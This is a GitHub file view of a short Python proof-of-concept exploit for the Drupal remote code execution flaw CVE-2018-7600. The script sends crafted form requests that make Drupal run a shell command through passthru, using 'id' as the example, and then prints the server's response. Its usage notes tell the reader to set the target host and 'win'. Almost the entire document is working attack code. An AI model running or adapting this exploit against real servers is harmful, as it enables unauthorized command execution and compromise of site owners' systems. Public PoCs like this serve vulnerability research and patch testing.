-
Notifications
You must be signed in to change notification settings - Fork 48
/
poc7-FireFart.py
executable file
·38 lines (30 loc) · 1005 Bytes
/
poc7-FireFart.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
"""
Written by Christian Mehlmauer
https://firefart.at/
https://twitter.com/_FireFart_
https://github.com/FireFart
This script can be obtained from:
https://github.com/FireFart/CVE-2018-7600
Requirements:
- python3
- python requests (pip install requests)
Usage:
- Install dependencies
- modify the HOST variable in the script
- run the code
- win
"""
import requests
import re
HOST="http://192.168.60.129/"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(HOST, data=post_params, params=get_params)
print(r.text)